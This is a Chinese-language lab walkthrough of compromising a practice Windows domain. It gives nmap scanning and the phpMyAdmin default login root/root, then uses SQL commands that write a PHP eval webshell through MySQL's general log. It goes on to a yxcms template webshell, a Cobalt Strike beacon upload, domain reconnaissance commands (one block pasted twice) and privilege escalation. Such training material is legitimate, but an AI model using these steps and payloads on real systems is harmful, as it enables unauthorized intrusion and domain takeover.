ATT&CK实战系列-从web打点到内网渗透

学习目标：

搭建需求环境（windows7提供web服务双网卡可访问外网和内网主机；window2008 内网域控；windows7 内网主机）

学习内容：

例如：

环境搭建。
web打点
shell连接（使用蚁剑）
内网渗透

一、环境搭建

攻击机：kali

靶机：

1.web服务：window 7(vm1)

2.windows 2008(域控)

3.windows 7(内网主机)

下载位置：链接：https://pan.baidu.com/s/1b3bC2prsUf5NDy8RzpVoqw
提取码：6785

注意：靶场环境下载30天

window 7 web服务网卡设置（NAT可以上网，通过kali进行打击）

windows 2008(域控)

windows 7加入域控

找到ipv4属性进行下面的指定IP的设置；注意网关和DNS和域控地址一致。

之后点击计算机属性--->点击更改设置---->点击更改----->加入域输入域名

注意这里内网的三台主机都在同一网段（192.168.52.0）

由于windows2003下载出现问题，我这里使用另一台windows7 加入windows2008域控即可。

之后我们进行内网的相互ping通保证内网相同即可。（如果ping不通的话关闭所有主机的防火墙再次尝试。）

二、web打点

windows 7使用phpstudy搭建的网站现打开站点

1.进行nmap扫描

命令：namp -sV -p 1-65000 192.168.91.143

2.查看网站信息。

3.使用Dirbustr进行目录扫描。

4.访问phpadmin目录进入管理后台，使用默认账户root/root进行登录

5.尝试通过执行sql语句写入shell。

命令：select '<?php phpinfo();?>' into outfile 'C:/phpStudy/WWW/phpinfo.php'

发现出错。

6.尝试通过日志写入shell

命令：show variables like '%general%'

看到日志功能是关闭的，我们尝试命令：set global general_log=on

再次查看日志功能是否开启

我们修改一下保存路径，放边待会写入shell时使用shell工具连接。

命令：set global general_log_file='C:/phpstudy/WWW/shell.php'

查看内容 show variables like '%general%'

写入一句话木马，通过查询方式

命令：select '<?php eval($_POST[("passwd")]);?>'

用中国蚁剑进行连接。

7.我们已经成功写入webshell，前面我们通过目录扫描到很多地址信息，找到/yxcms/是一个备份文件，我们点击登录：

从登录页面我们看到了后台登录位置和账户密码

后台地址;/index.php?r=admin

账户密码：admin /123456

8.我们通过模板写入webshell

之后我们要尝试使用蚁剑连接，我们观察到这个文件位置是查询到的。

我们拿到地址：admin/set/tpedit&Mname=default&fname=index_search.php

不行我们随便执行查询更改为

?r=default%2Findex%2Fsearch&keywords=777&type=all

使用蚁剑连接，就可以拿到后台了。

三、后门上传连接

1.讲个上线CS，上篇文章使用msf上传的，这次结合蚁剑上传CS生成的exe文件进行后期管理。

CS使用

在服务端输入命令 ./teamserver 服务端IP 密码

客户端点击sh文件

2.使用cs生成exe木马文件

创建监听器ip端口为本地IP

生成exe木马

通过蚁剑进行上传木马。

通过shell找到exe文件位置点击执行，CS成功上线。

四、内网渗透

1.信息收集

net time /domain #查看时间服务器，判断主域，主域服务器都做时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
ipconfig /all 　　　　　 #查询本机IP段，所在域等
net config Workstation #当前计算机名，全名，用户名，系统版本，工作站域，登陆域
net user 　　　　　　　 #本机用户列表
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
net localhroup administrators #本机管理员[通常含有域用户]
net user 用户名 /domain #获取指定用户的账户信息
net group /domain #查询域里面的工作组
net group 组名 /domain #查询域中的某工作组
net time /domain #查看时间服务器，判断主域，主域服务器都做时间服务器 net user /domain #查看域用户 net view /domain #查看有几个域 ipconfig /all 　　　　　 #查询本机IP段，所在域等 net config Workstation #当前计算机名，全名，用户名，系统版本，工作站域，登陆域 net user 　　　　　　　 #本机用户列表 net group "domain computers" /domain #查看域内所有的主机名 net group "domain admins" /domain #查看域管理员 net group "domain controllers" /domain #查看域控 net localhroup administrators #本机管理员[通常含有域用户] net user 用户名 /domain #获取指定用户的账户信息 net group /domain #查询域里面的工作组 net group 组名 /domain #查询域中的某工作组
ipconfig /all看到有内网ip #可判断是否存在域

一些命令在msf的shell没能成功执行，但在cs下可以

权限信息

通过提权工具直接提权为system